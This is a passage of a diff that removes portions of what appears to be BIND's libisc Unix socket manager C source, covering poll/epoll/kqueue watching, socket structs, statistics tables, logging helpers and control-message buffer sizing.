- * If this macro is defined, enable workaround for a Solaris /dev/poll kernel
- * bug: DP_POLL ioctl could keep sleeping even if socket I/O is possible for
- * some of the specified FD.  The idea is based on the observation that it's
- * likely for a busy server to keep receiving packets.  It specifically works
- * as follows: the socket watcher is first initialized with the state of
- * "poll_idle".  While it's in the idle state it keeps sleeping until a socket
- * event occurs.  When it wakes up for a socket I/O event, it moves to the
- * poll_active state, and sets the poll timeout to a short period
- * (ISC_SOCKET_POLLWATCH_TIMEOUT msec).  If timeout occurs in this state, the
- * watcher goes to the poll_checking state with the same timeout period.
- * In this state, the watcher tries to detect whether this is a break
- * during intermittent events or the kernel bug is triggered.  If the next
- * polling reports an event within the short period, the previous timeout is
- * likely to be a kernel bug, and so the watcher goes back to the active state.
- * Otherwise, it moves to the idle state again.
- *
- * It's not clear whether this is a thread-related bug, but since we've only
- * seen this with threads, this workaround is used only when enabling threads.
- */
-
-typedef enum { poll_idle, poll_active, poll_checking } pollstate_t;
-
-#ifndef ISC_SOCKET_POLLWATCH_TIMEOUT
-#define ISC_SOCKET_POLLWATCH_TIMEOUT 10
-#endif /* ISC_SOCKET_POLLWATCH_TIMEOUT */
-#endif /* ISC_SOCKET_USE_POLLWATCH */
-
-/*%
- * Per-FD lock buckets, we shuffle them around a bit as FDs come in herds.
- */
-#define FDLOCK_BITS  10
-#define FDLOCK_COUNT (1 << FDLOCK_BITS)
-#define FDLOCK_ID(fd)                                   \
-	(((fd) % (FDLOCK_COUNT) >> (FDLOCK_BITS / 2)) | \
-	 (((fd) << (FDLOCK_BITS / 2)) % (FDLOCK_COUNT)))
-
-/*%
- * Maximum number of events communicated with the kernel.  There should normally
- * be no need for having a large number.
- */
-#if defined(USE_KQUEUE) || defined(USE_EPOLL) || defined(USE_DEVPOLL)
-#ifndef ISC_SOCKET_MAXEVENTS
-#ifdef TUNE_LARGE
-#define ISC_SOCKET_MAXEVENTS 2048
-#else /* ifdef TUNE_LARGE */
-#define ISC_SOCKET_MAXEVENTS 64
-#endif /* TUNE_LARGE */
-#endif /* ifndef ISC_SOCKET_MAXEVENTS */
-#endif /* if defined(USE_KQUEUE) || defined(USE_EPOLL) || defined(USE_DEVPOLL) \
-	* */
-
-/*%
- * Some systems define the socket length argument as an int, some as size_t,
- * some as socklen_t.  This is here so it can be easily changed if needed.
- */
-#ifndef socklen_t
-#define socklen_t unsigned int
-#endif /* ifndef socklen_t */
-
-/*%
- * Define what the possible "soft" errors can be.  These are non-fatal returns
- * of various network related functions, like recv() and so on.
- *
- * For some reason, BSDI (and perhaps others) will sometimes return <0
- * from recv() but will have errno==0.  This is broken, but we have to
- * work around it here.
- */
-#define SOFT_ERROR(e)                                             \
-	((e) == EAGAIN || (e) == EWOULDBLOCK || (e) == ENOBUFS || \
-	 (e) == EINTR || (e) == 0)
-
-#define DLVL(x) ISC_LOGCATEGORY_GENERAL, ISC_LOGMODULE_SOCKET, ISC_LOG_DEBUG(x)
-
-/*!<
- * DLVL(90)  --  Function entry/exit and other tracing.
- * DLVL(70)  --  Socket "correctness" -- including returning of events, etc.
- * DLVL(60)  --  Socket data send/receive
- * DLVL(50)  --  Event tracing, including receiving/sending completion events.
- * DLVL(20)  --  Socket creation/destruction.
- */
-#define TRACE_LEVEL	  90
-#define CORRECTNESS_LEVEL 70
-#define IOEVENT_LEVEL	  60
-#define EVENT_LEVEL	  50
-#define CREATION_LEVEL	  20
-
-#define TRACE	    DLVL(TRACE_LEVEL)
-#define CORRECTNESS DLVL(CORRECTNESS_LEVEL)
-#define IOEVENT	    DLVL(IOEVENT_LEVEL)
-#define EVENT	    DLVL(EVENT_LEVEL)
-#define CREATION    DLVL(CREATION_LEVEL)
-
-typedef isc_event_t intev_t;
-
-#define SOCKET_MAGIC	ISC_MAGIC('I', 'O', 'i', 'o')
-#define VALID_SOCKET(s) ISC_MAGIC_VALID(s, SOCKET_MAGIC)
-
-/*!
- * IPv6 control information.  If the socket is an IPv6 socket we want
- * to collect the destination address and interface so the client can
- * set them on outgoing packets.
- */
-#ifndef USE_CMSG
-#define USE_CMSG 1
-#endif /* ifndef USE_CMSG */
-
-/*%
- * NetBSD and FreeBSD can timestamp packets.  XXXMLG Should we have
- * a setsockopt() like interface to request timestamps, and if the OS
- * doesn't do it for us, call gettimeofday() on every UDP receive?
- */
-#ifdef SO_TIMESTAMP
-#ifndef USE_CMSG
-#define USE_CMSG 1
-#endif /* ifndef USE_CMSG */
-#endif /* ifdef SO_TIMESTAMP */
-
-#if defined(SO_RCVBUF) && defined(ISC_RECV_BUFFER_SIZE)
-#define SET_RCVBUF
-#endif
-
-#if defined(SO_SNDBUF) && defined(ISC_SEND_BUFFER_SIZE)
-#define SET_SNDBUF
-#endif
-
-/*%
- * Instead of calculating the cmsgbuf lengths every time we take
- * a rule of thumb approach - sizes are taken from x86_64 linux,
- * multiplied by 2, everything should fit. Those sizes are not
- * large enough to cause any concern.
- */
-#if defined(USE_CMSG)
-#define CMSG_SP_IN6PKT 40
-#else /* if defined(USE_CMSG) */
-#define CMSG_SP_IN6PKT 0
-#endif /* if defined(USE_CMSG) */
-
-#if defined(USE_CMSG) && defined(SO_TIMESTAMP)
-#define CMSG_SP_TIMESTAMP 32
-#else /* if defined(USE_CMSG) && defined(SO_TIMESTAMP) */
-#define CMSG_SP_TIMESTAMP 0
-#endif /* if defined(USE_CMSG) && defined(SO_TIMESTAMP) */
-
-#if defined(USE_CMSG) && (defined(IPV6_TCLASS) || defined(IP_TOS))
-#define CMSG_SP_TCTOS 24
-#else /* if defined(USE_CMSG) && (defined(IPV6_TCLASS) || defined(IP_TOS)) */
-#define CMSG_SP_TCTOS 0
-#endif /* if defined(USE_CMSG) && (defined(IPV6_TCLASS) || defined(IP_TOS)) */
-
-#define CMSG_SP_INT 24
-
-/* Align cmsg buffers to be safe on SPARC etc. */
-#define RECVCMSGBUFLEN                                                       \
-	ISC_ALIGN(2 * (CMSG_SP_IN6PKT + CMSG_SP_TIMESTAMP + CMSG_SP_TCTOS) + \
-			  1,                                                 \
-		  sizeof(void *))
-#define SENDCMSGBUFLEN                                                    \
-	ISC_ALIGN(2 * (CMSG_SP_IN6PKT + CMSG_SP_INT + CMSG_SP_TCTOS) + 1, \
-		  sizeof(void *))
-
-/*%
- * The number of times a send operation is repeated if the result is EINTR.
- */
-#define NRETRIES 10
-
-typedef struct isc__socketthread isc__socketthread_t;
-
-#define NEWCONNSOCK(ev) ((ev)->newsocket)
-
-struct isc_socket {
-	/* Not locked. */
-	unsigned int magic;
-	isc_socketmgr_t *manager;
-	isc_mutex_t lock;
-	isc_sockettype_t type;
-	const isc_statscounter_t *statsindex;
-	isc_refcount_t references;
-
-	/* Locked by socket lock. */
-	ISC_LINK(isc_socket_t) link;
-	int fd;
-	int pf;
-	int threadid;
-	char name[16];
-	void *tag;
-
-	ISC_LIST(isc_socketevent_t) send_list;
-	ISC_LIST(isc_socketevent_t) recv_list;
-	ISC_LIST(isc_socket_newconnev_t) accept_list;
-	ISC_LIST(isc_socket_connev_t) connect_list;
-
-	isc_sockaddr_t peer_address; /* remote address */
-
-	unsigned int listener : 1,	       /* listener socket */
-		connected : 1, connecting : 1, /* connect pending
-						* */
-		bound  : 1,		       /* bound to local addr */
-		dupped : 1, active : 1,	       /* currently active */
-		pktdscp : 1;		       /* per packet dscp */
-
-#ifdef ISC_PLATFORM_RECVOVERFLOW
-	unsigned char overflow; /* used for MSG_TRUNC fake */
-#endif				/* ifdef ISC_PLATFORM_RECVOVERFLOW */
-
-	unsigned int dscp;
-};
-
-#define SOCKET_MANAGER_MAGIC ISC_MAGIC('I', 'O', 'm', 'g')
-#define VALID_MANAGER(m)     ISC_MAGIC_VALID(m, SOCKET_MANAGER_MAGIC)
-
-struct isc_socketmgr {
-	/* Not locked. */
-	unsigned int magic;
-	isc_mem_t *mctx;
-	isc_mutex_t lock;
-	isc_stats_t *stats;
-	int nthreads;
-	isc__socketthread_t *threads;
-	unsigned int maxsocks;
-	/* Locked by manager lock. */
-	ISC_LIST(isc_socket_t) socklist;
-	int reserved; /* unlocked */
-	isc_condition_t shutdown_ok;
-	size_t maxudp;
-};
-
-struct isc__socketthread {
-	isc_socketmgr_t *manager;
-	int threadid;
-	isc_thread_t thread;
-	int pipe_fds[2];
-	isc_mutex_t *fdlock;
-	/* Locked by fdlock. */
-	isc_socket_t **fds;
-	int *fdstate;
-#ifdef USE_KQUEUE
-	int kqueue_fd;
-	int nevents;
-	struct kevent *events;
-#endif /* USE_KQUEUE */
-#ifdef USE_EPOLL
-	int epoll_fd;
-	int nevents;
-	struct epoll_event *events;
-	uint32_t *epoll_events;
-#endif /* USE_EPOLL */
-#ifdef USE_DEVPOLL
-	int devpoll_fd;
-	isc_resourcevalue_t open_max;
-	unsigned int calls;
-	int nevents;
-	struct pollfd *events;
-	pollinfo_t *fdpollinfo;
-#endif /* USE_DEVPOLL */
-#ifdef USE_SELECT
-	int fd_bufsize;
-	fd_set *read_fds;
-	fd_set *read_fds_copy;
-	fd_set *write_fds;
-	fd_set *write_fds_copy;
-	int maxfd;
-#endif /* USE_SELECT */
-};
-
-#define CLOSED	      0 /* this one must be zero */
-#define MANAGED	      1
-#define CLOSE_PENDING 2
-
-/*
- * send() and recv() iovec counts
- */
-#define MAXSCATTERGATHER_SEND (ISC_SOCKET_MAXSCATTERGATHER)
-#ifdef ISC_PLATFORM_RECVOVERFLOW
-#define MAXSCATTERGATHER_RECV (ISC_SOCKET_MAXSCATTERGATHER + 1)
-#else /* ifdef ISC_PLATFORM_RECVOVERFLOW */
-#define MAXSCATTERGATHER_RECV (ISC_SOCKET_MAXSCATTERGATHER)
-#endif /* ifdef ISC_PLATFORM_RECVOVERFLOW */
-
-static isc_result_t
-socket_create(isc_socketmgr_t *manager0, int pf, isc_sockettype_t type,
-	      isc_socket_t **socketp, isc_socket_t *dup_socket);
-static void
-send_recvdone_event(isc_socket_t *, isc_socketevent_t **);
-static void
-send_senddone_event(isc_socket_t *, isc_socketevent_t **);
-static void
-send_connectdone_event(isc_socket_t *, isc_socket_connev_t **);
-static void
-free_socket(isc_socket_t **);
-static isc_result_t
-allocate_socket(isc_socketmgr_t *, isc_sockettype_t, isc_socket_t **);
-static void
-destroy(isc_socket_t **);
-static void
-internal_accept(isc_socket_t *);
-static void
-internal_connect(isc_socket_t *);
-static void
-internal_recv(isc_socket_t *);
-static void
-internal_send(isc_socket_t *);
-static void
-process_cmsg(isc_socket_t *, struct msghdr *, isc_socketevent_t *);
-static void
-build_msghdr_send(isc_socket_t *, char *, isc_socketevent_t *, struct msghdr *,
-		  struct iovec *, size_t *);
-static void
-build_msghdr_recv(isc_socket_t *, char *, isc_socketevent_t *, struct msghdr *,
-		  struct iovec *, size_t *);
-static bool
-process_ctlfd(isc__socketthread_t *thread);
-static void
-setdscp(isc_socket_t *sock, isc_dscp_t dscp);
-
-#define SELECT_POKE_SHUTDOWN (-1)
-#define SELECT_POKE_NOTHING  (-2)
-#define SELECT_POKE_READ     (-3)
-#define SELECT_POKE_ACCEPT   (-3) /*%< Same as _READ */
-#define SELECT_POKE_WRITE    (-4)
-#define SELECT_POKE_CONNECT  (-4) /*%< Same as _WRITE */
-#define SELECT_POKE_CLOSE    (-5)
-
-/*%
- * Shortcut index arrays to get access to statistics counters.
- */
-enum {
-	STATID_OPEN = 0,
-	STATID_OPENFAIL = 1,
-	STATID_CLOSE = 2,
-	STATID_BINDFAIL = 3,
-	STATID_CONNECTFAIL = 4,
-	STATID_CONNECT = 5,
-	STATID_ACCEPTFAIL = 6,
-	STATID_ACCEPT = 7,
-	STATID_SENDFAIL = 8,
-	STATID_RECVFAIL = 9,
-	STATID_ACTIVE = 10
-};
-static const isc_statscounter_t udp4statsindex[] = {
-	isc_sockstatscounter_udp4open,
-	isc_sockstatscounter_udp4openfail,
-	isc_sockstatscounter_udp4close,
-	isc_sockstatscounter_udp4bindfail,
-	isc_sockstatscounter_udp4connectfail,
-	isc_sockstatscounter_udp4connect,
-	-1,
-	-1,
-	isc_sockstatscounter_udp4sendfail,
-	isc_sockstatscounter_udp4recvfail,
-	isc_sockstatscounter_udp4active
-};
-static const isc_statscounter_t udp6statsindex[] = {
-	isc_sockstatscounter_udp6open,
-	isc_sockstatscounter_udp6openfail,
-	isc_sockstatscounter_udp6close,
-	isc_sockstatscounter_udp6bindfail,
-	isc_sockstatscounter_udp6connectfail,
-	isc_sockstatscounter_udp6connect,
-	-1,
-	-1,
-	isc_sockstatscounter_udp6sendfail,
-	isc_sockstatscounter_udp6recvfail,
-	isc_sockstatscounter_udp6active
-};
-static const isc_statscounter_t tcp4statsindex[] = {
-	isc_sockstatscounter_tcp4open,	      isc_sockstatscounter_tcp4openfail,
-	isc_sockstatscounter_tcp4close,	      isc_sockstatscounter_tcp4bindfail,
-	isc_sockstatscounter_tcp4connectfail, isc_sockstatscounter_tcp4connect,
-	isc_sockstatscounter_tcp4acceptfail,  isc_sockstatscounter_tcp4accept,
-	isc_sockstatscounter_tcp4sendfail,    isc_sockstatscounter_tcp4recvfail,
-	isc_sockstatscounter_tcp4active
-};
-static const isc_statscounter_t tcp6statsindex[] = {
-	isc_sockstatscounter_tcp6open,	      isc_sockstatscounter_tcp6openfail,
-	isc_sockstatscounter_tcp6close,	      isc_sockstatscounter_tcp6bindfail,
-	isc_sockstatscounter_tcp6connectfail, isc_sockstatscounter_tcp6connect,
-	isc_sockstatscounter_tcp6acceptfail,  isc_sockstatscounter_tcp6accept,
-	isc_sockstatscounter_tcp6sendfail,    isc_sockstatscounter_tcp6recvfail,
-	isc_sockstatscounter_tcp6active
-};
-static const isc_statscounter_t unixstatsindex[] = {
-	isc_sockstatscounter_unixopen,	      isc_sockstatscounter_unixopenfail,
-	isc_sockstatscounter_unixclose,	      isc_sockstatscounter_unixbindfail,
-	isc_sockstatscounter_unixconnectfail, isc_sockstatscounter_unixconnect,
-	isc_sockstatscounter_unixacceptfail,  isc_sockstatscounter_unixaccept,
-	isc_sockstatscounter_unixsendfail,    isc_sockstatscounter_unixrecvfail,
-	isc_sockstatscounter_unixactive
-};
-static const isc_statscounter_t rawstatsindex[] = {
-	isc_sockstatscounter_rawopen,
-	isc_sockstatscounter_rawopenfail,
-	isc_sockstatscounter_rawclose,
-	-1,
-	-1,
-	-1,
-	-1,
-	-1,
-	-1,
-	isc_sockstatscounter_rawrecvfail,
-	isc_sockstatscounter_rawactive
-};
-
-static int
-gen_threadid(isc_socket_t *sock);
-
-static int
-gen_threadid(isc_socket_t *sock) {
-	return (sock->fd % sock->manager->nthreads);
-}
-
-static void
-manager_log(isc_socketmgr_t *sockmgr, isc_logcategory_t *category,
-	    isc_logmodule_t *module, int level, const char *fmt, ...)
-	ISC_FORMAT_PRINTF(5, 6);
-static void
-manager_log(isc_socketmgr_t *sockmgr, isc_logcategory_t *category,
-	    isc_logmodule_t *module, int level, const char *fmt, ...) {
-	char msgbuf[2048];
-	va_list ap;
-
-	if (!isc_log_wouldlog(isc_lctx, level)) {
-		return;
-	}
-
-	va_start(ap, fmt);
-	vsnprintf(msgbuf, sizeof(msgbuf), fmt, ap);
-	va_end(ap);
-
-	isc_log_write(isc_lctx, category, module, level, "sockmgr %p: %s",
-		      sockmgr, msgbuf);
-}
-
-static void
-thread_log(isc__socketthread_t *thread, isc_logcategory_t *category,
-	   isc_logmodule_t *module, int level, const char *fmt, ...)
-	ISC_FORMAT_PRINTF(5, 6);
-static void
-thread_log(isc__socketthread_t *thread, isc_logcategory_t *category,
-	   isc_logmodule_t *module, int level, const char *fmt, ...) {
-	char msgbuf[2048];
-	va_list ap;
-
-	if (!isc_log_wouldlog(isc_lctx, level)) {
-		return;
-	}
-
-	va_start(ap, fmt);
-	vsnprintf(msgbuf, sizeof(msgbuf), fmt, ap);
-	va_end(ap);
-
-	isc_log_write(isc_lctx, category, module, level,
-		      "sockmgr %p thread %d: %s", thread->manager,
-		      thread->threadid, msgbuf);
-}
-
-static void
-socket_log(isc_socket_t *sock, const isc_sockaddr_t *address,
-	   isc_logcategory_t *category, isc_logmodule_t *module, int level,
-	   const char *fmt, ...) ISC_FORMAT_PRINTF(6, 7);
-static void
-socket_log(isc_socket_t *sock, const isc_sockaddr_t *address,
-	   isc_logcategory_t *category, isc_logmodule_t *module, int level,
-	   const char *fmt, ...) {
-	char msgbuf[2048];
-	char peerbuf[ISC_SOCKADDR_FORMATSIZE];
-	va_list ap;
-
-	if (!isc_log_wouldlog(isc_lctx, level)) {
-		return;
-	}
-
-	va_start(ap, fmt);
-	vsnprintf(msgbuf, sizeof(msgbuf), fmt, ap);
-	va_end(ap);
-
-	if (address == NULL) {
-		isc_log_write(isc_lctx, category, module, level,
-			      "socket %p: %s", sock, msgbuf);
-	} else {
-		isc_sockaddr_format(address, peerbuf, sizeof(peerbuf));
-		isc_log_write(isc_lctx, category, module, level,
-			      "socket %p %s: %s", sock, peerbuf, msgbuf);
-	}
-}
-
-/*%
- * Increment socket-related statistics counters.
- */
-static inline void
-inc_stats(isc_stats_t *stats, isc_statscounter_t counterid) {
-	REQUIRE(counterid != -1);
-
-	if (stats != NULL) {
-		isc_stats_increment(stats, counterid);
-	}
-}
-
-/*%
- * Decrement socket-related statistics counters.
- */
-static inline void
-dec_stats(isc_stats_t *stats, isc_statscounter_t counterid) {
-	REQUIRE(counterid != -1);
-
-	if (stats != NULL) {
-		isc_stats_decrement(stats, counterid);
-	}
-}
-
-static inline isc_result_t
-watch_fd(isc__socketthread_t *thread, int fd, int msg) {
-	isc_result_t result = ISC_R_SUCCESS;
-
-#ifdef USE_KQUEUE
-	struct kevent evchange;
-
-	memset(&evchange, 0, sizeof(evchange));
-	if (msg == SELECT_POKE_READ) {
-		evchange.filter = EVFILT_READ;
-	} else {
-		evchange.filter = EVFILT_WRITE;
-	}
-	evchange.flags = EV_ADD;
-	evchange.ident = fd;
-	if (kevent(thread->kqueue_fd, &evchange, 1, NULL, 0, NULL) != 0) {
-		result = isc__errno2result(errno);
-	}
-
-	return (result);
-#elif defined(USE_EPOLL)
-	struct epoll_event event;
-	uint32_t oldevents;
-	int ret;
-	int op;
-
-	oldevents = thread->epoll_events[fd];
-	if (msg == SELECT_POKE_READ) {
-		thread->epoll_events[fd] |= EPOLLIN;
-	} else {
-		thread->epoll_events[fd] |= EPOLLOUT;
-	}
-
-	event.events = thread->epoll_events[fd];
-	memset(&event.data, 0, sizeof(event.data));
-	event.data.fd = fd;
-
-	op = (oldevents == 0U) ? EPOLL_CTL_ADD : EPOLL_CTL_MOD;
-	if (thread->fds[fd] != NULL) {
-		LOCK(&thread->fds[fd]->lock);
-	}
-	ret = epoll_ctl(thread->epoll_fd, op, fd, &event);
-	if (thread->fds[fd] != NULL) {
-		UNLOCK(&thread->fds[fd]->lock);
-	}
-	if (ret == -1) {
-		if (errno == EEXIST) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "epoll_ctl(ADD/MOD) returned "
-					 "EEXIST for fd %d",
-					 fd);
-		}
-		result = isc__errno2result(errno);
-	}
-
-	return (result);
-#elif defined(USE_DEVPOLL)
-	struct pollfd pfd;
-
-	memset(&pfd, 0, sizeof(pfd));
-	if (msg == SELECT_POKE_READ) {
-		pfd.events = POLLIN;
-	} else {
-		pfd.events = POLLOUT;
-	}
-	pfd.fd = fd;
-	pfd.revents = 0;
-	if (write(thread->devpoll_fd, &pfd, sizeof(pfd)) == -1) {
-		result = isc__errno2result(errno);
-	} else {
-		if (msg == SELECT_POKE_READ) {
-			thread->fdpollinfo[fd].want_read = 1;
-		} else {
-			thread->fdpollinfo[fd].want_write = 1;
-		}
-	}
-
-	return (result);
-#elif defined(USE_SELECT)
-	LOCK(&thread->manager->lock);
-	if (msg == SELECT_POKE_READ) {
-		FD_SET(fd, thread->read_fds);
-	}
-	if (msg == SELECT_POKE_WRITE) {
-		FD_SET(fd, thread->write_fds);
-	}
-	UNLOCK(&thread->manager->lock);
-
-	return (result);
-#endif /* ifdef USE_KQUEUE */
-}
-
-static inline isc_result_t
-unwatch_fd(isc__socketthread_t *thread, int fd, int msg) {
-	isc_result_t result = ISC_R_SUCCESS;
-
-#ifdef USE_KQUEUE
-	struct kevent evchange;
-
-	memset(&evchange, 0, sizeof(evchange));
-	if (msg == SELECT_POKE_READ) {
-		evchange.filter = EVFILT_READ;
-	} else {
-		evchange.filter = EVFILT_WRITE;
-	}
-	evchange.flags = EV_DELETE;
-	evchange.ident = fd;
-	if (kevent(thread->kqueue_fd, &evchange, 1, NULL, 0, NULL) != 0) {
-		result = isc__errno2result(errno);
-	}
-
-	return (result);
-#elif defined(USE_EPOLL)
-	struct epoll_event event;
-	int ret;
-	int op;
-
-	if (msg == SELECT_POKE_READ) {
-		thread->epoll_events[fd] &= ~(EPOLLIN);
-	} else {
-		thread->epoll_events[fd] &= ~(EPOLLOUT);
-	}
-
-	event.events = thread->epoll_events[fd];
-	memset(&event.data, 0, sizeof(event.data));
-	event.data.fd = fd;
-
-	op = (event.events == 0U) ? EPOLL_CTL_DEL : EPOLL_CTL_MOD;
-	ret = epoll_ctl(thread->epoll_fd, op, fd, &event);
-	if (ret == -1 && errno != ENOENT) {
-		char strbuf[ISC_STRERRORSIZE];
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "epoll_ctl(DEL), %d: %s",
-				 fd, strbuf);
-		result = ISC_R_UNEXPECTED;
-	}
-	return (result);
-#elif defined(USE_DEVPOLL)
-	struct pollfd pfds[2];
-	size_t writelen = sizeof(pfds[0]);
-	int lockid = FDLOCK_ID(fd);
-
-	memset(pfds, 0, sizeof(pfds));
-	pfds[0].events = POLLREMOVE;
-	pfds[0].fd = fd;
-
-	/*
-	 * Canceling read or write polling via /dev/poll is tricky.  Since it
-	 * only provides a way of canceling per FD, we may need to re-poll the
-	 * socket for the other operation.
-	 */
-	if (msg == SELECT_POKE_READ && thread->fdpollinfo[fd].want_write == 1) {
-		pfds[1].events = POLLOUT;
-		pfds[1].fd = fd;
-		writelen += sizeof(pfds[1]);
-	}
-	if (msg == SELECT_POKE_WRITE && thread->fdpollinfo[fd].want_read == 1) {
-		pfds[1].events = POLLIN;
-		pfds[1].fd = fd;
-		writelen += sizeof(pfds[1]);
-	}
-
-	if (write(thread->devpoll_fd, pfds, writelen) == -1) {
-		result = isc__errno2result(errno);
-	} else {
-		if (msg == SELECT_POKE_READ) {
-			thread->fdpollinfo[fd].want_read = 0;
-		} else {
-			thread->fdpollinfo[fd].want_write = 0;
-		}
-	}
-
-	return (result);
-#elif defined(USE_SELECT)
-	LOCK(&thread->manager->lock);
-	if (msg == SELECT_POKE_READ) {
-		FD_CLR(fd, thread->read_fds);
-	} else if (msg == SELECT_POKE_WRITE) {
-		FD_CLR(fd, thread->write_fds);
-	}
-	UNLOCK(&thread->manager->lock);
-
-	return (result);
-#endif /* ifdef USE_KQUEUE */
-}
-
-/*
- * A poke message was received, perform a proper watch/unwatch
- * on a fd provided
- */
-static void
-wakeup_socket(isc__socketthread_t *thread, int fd, int msg) {
-	isc_result_t result;
-	int lockid = FDLOCK_ID(fd);
-
-	/*
-	 * This is a wakeup on a socket.  If the socket is not in the
-	 * process of being closed, start watching it for either reads
-	 * or writes.
-	 */
-
-	INSIST(fd >= 0 && fd < (int)thread->manager->maxsocks);
-
-	if (msg == SELECT_POKE_CLOSE) {
-		LOCK(&thread->fdlock[lockid]);
-		INSIST(thread->fdstate[fd] == CLOSE_PENDING);
-		thread->fdstate[fd] = CLOSED;
-		(void)unwatch_fd(thread, fd, SELECT_POKE_READ);
-		(void)unwatch_fd(thread, fd, SELECT_POKE_WRITE);
-		(void)close(fd);
-		UNLOCK(&thread->fdlock[lockid]);
-		return;
-	}
-
-	LOCK(&thread->fdlock[lockid]);
-	if (thread->fdstate[fd] == CLOSE_PENDING) {
-		/*
-		 * We accept (and ignore) any error from unwatch_fd() as we are
-		 * closing the socket, hoping it doesn't leave dangling state in
-		 * the kernel.
-		 * Note that unwatch_fd() must be called after releasing the
-		 * fdlock; otherwise it could cause deadlock due to a lock order
-		 * reversal.
-		 */
-		(void)unwatch_fd(thread, fd, SELECT_POKE_READ);
-		(void)unwatch_fd(thread, fd, SELECT_POKE_WRITE);
-		UNLOCK(&thread->fdlock[lockid]);
-		return;
-	}
-	if (thread->fdstate[fd] != MANAGED) {
-		UNLOCK(&thread->fdlock[lockid]);
-		return;
-	}
-
-	/*
-	 * Set requested bit.
-	 */
-	result = watch_fd(thread, fd, msg);
-	if (result != ISC_R_SUCCESS) {
-		/*
-		 * XXXJT: what should we do?  Ignoring the failure of watching
-		 * a socket will make the application dysfunctional, but there
-		 * seems to be no reasonable recovery process.
-		 */
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_SOCKET, ISC_LOG_ERROR,
-			      "failed to start watching FD (%d): %s", fd,
-			      isc_result_totext(result));
-	}
-	UNLOCK(&thread->fdlock[lockid]);
-}
-
-/*
- * Poke the select loop when there is something for us to do.
- * The write is required (by POSIX) to complete.  That is, we
- * will not get partial writes.
- */
-static void
-select_poke(isc_socketmgr_t *mgr, int threadid, int fd, int msg) {
-	int cc;
-	int buf[2];
-	char strbuf[ISC_STRERRORSIZE];
-
-	buf[0] = fd;
-	buf[1] = msg;
-
-	do {
-		cc = write(mgr->threads[threadid].pipe_fds[1], buf,
-			   sizeof(buf));
-#ifdef ENOSR
-		/*
-		 * Treat ENOSR as EAGAIN but loop slowly as it is
-		 * unlikely to clear fast.
-		 */
-		if (cc < 0 && errno == ENOSR) {
-			sleep(1);
-			errno = EAGAIN;
-		}
-#endif /* ifdef ENOSR */
-	} while (cc < 0 && SOFT_ERROR(errno));
-
-	if (cc < 0) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		FATAL_ERROR(__FILE__, __LINE__,
-			    "write() failed during watcher poke: %s", strbuf);
-	}
-
-	INSIST(cc == sizeof(buf));
-}
-
-/*
- * Read a message on the internal fd.
- */
-static void
-select_readmsg(isc__socketthread_t *thread, int *fd, int *msg) {
-	int buf[2];
-	int cc;
-	char strbuf[ISC_STRERRORSIZE];
-
-	cc = read(thread->pipe_fds[0], buf, sizeof(buf));
-	if (cc < 0) {
-		*msg = SELECT_POKE_NOTHING;
-		*fd = -1; /* Silence compiler. */
-		if (SOFT_ERROR(errno)) {
-			return;
-		}
-
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		FATAL_ERROR(__FILE__, __LINE__,
-			    "read() failed during watcher poke: %s", strbuf);
-	}
-	INSIST(cc == sizeof(buf));
-
-	*fd = buf[0];
-	*msg = buf[1];
-}
-
-/*
- * Make a fd non-blocking.
- */
-static isc_result_t
-make_nonblock(int fd) {
-	int ret;
-	char strbuf[ISC_STRERRORSIZE];
-#ifdef USE_FIONBIO_IOCTL
-	int on = 1;
-#else  /* ifdef USE_FIONBIO_IOCTL */
-	int flags;
-#endif /* ifdef USE_FIONBIO_IOCTL */
-
-#ifdef USE_FIONBIO_IOCTL
-	ret = ioctl(fd, FIONBIO, (char *)&on);
-#else  /* ifdef USE_FIONBIO_IOCTL */
-	flags = fcntl(fd, F_GETFL, 0);
-	flags |= O_NONBLOCK;
-	ret = fcntl(fd, F_SETFL, flags);
-#endif /* ifdef USE_FIONBIO_IOCTL */
-
-	if (ret == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-#ifdef USE_FIONBIO_IOCTL
-				 "ioctl(%d, FIONBIO, &on): %s", fd,
-#else  /* ifdef USE_FIONBIO_IOCTL */
-				 "fcntl(%d, F_SETFL, %d): %s", fd, flags,
-#endif /* ifdef USE_FIONBIO_IOCTL */
-				 strbuf);
-
-		return (ISC_R_UNEXPECTED);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-#ifdef USE_CMSG
-/*
- * Not all OSes support advanced CMSG macros: CMSG_LEN and CMSG_SPACE.
- * In order to ensure as much portability as possible, we provide wrapper
- * functions of these macros.
- * Note that cmsg_space() could run slow on OSes that do not have
- * CMSG_SPACE.
- */
-static inline socklen_t
-cmsg_len(socklen_t len) {
-#ifdef CMSG_LEN
-	return (CMSG_LEN(len));
-#else  /* ifdef CMSG_LEN */
-	socklen_t hdrlen;
-
-	/*
-	 * Cast NULL so that any pointer arithmetic performed by CMSG_DATA
-	 * is correct.
-	 */
-	hdrlen = (socklen_t)CMSG_DATA(((struct cmsghdr *)NULL));
-	return (hdrlen + len);
-#endif /* ifdef CMSG_LEN */
-}
-
-static inline socklen_t
-cmsg_space(socklen_t len) {
-#ifdef CMSG_SPACE
-	return (CMSG_SPACE(len));
-#else  /* ifdef CMSG_SPACE */
-	struct msghdr msg;
-	struct cmsghdr *cmsgp;
-	/*
-	 * XXX: The buffer length is an ad-hoc value, but should be enough
-	 * in a practical sense.
-	 */
-	char dummybuf[sizeof(struct cmsghdr) + 1024];
-
-	memset(&msg, 0, sizeof(msg));
-	msg.msg_control = dummybuf;
-	msg.msg_controllen = sizeof(dummybuf);
-
-	cmsgp = (struct cmsghdr *)dummybuf;
-	cmsgp->cmsg_len = cmsg_len(len);
-
-	cmsgp = CMSG_NXTHDR(&msg, cmsgp);
-	if (cmsgp != NULL) {
-		return ((char *)cmsgp - (char *)msg.msg_control);
-	} else {
-		return (0);
-	}
-#endif /* ifdef CMSG_SPACE */
-}
-#endif /* USE_CMSG */
-
-/*
- * Process control messages received on a socket.
- */
-static void
-process_cmsg(isc_socket_t *sock, struct msghdr *msg, isc_socketevent_t *dev) {
-#ifdef USE_CMSG
-	struct cmsghdr *cmsgp;
-	struct in6_pktinfo *pktinfop;
-#ifdef SO_TIMESTAMP
-	void *timevalp;
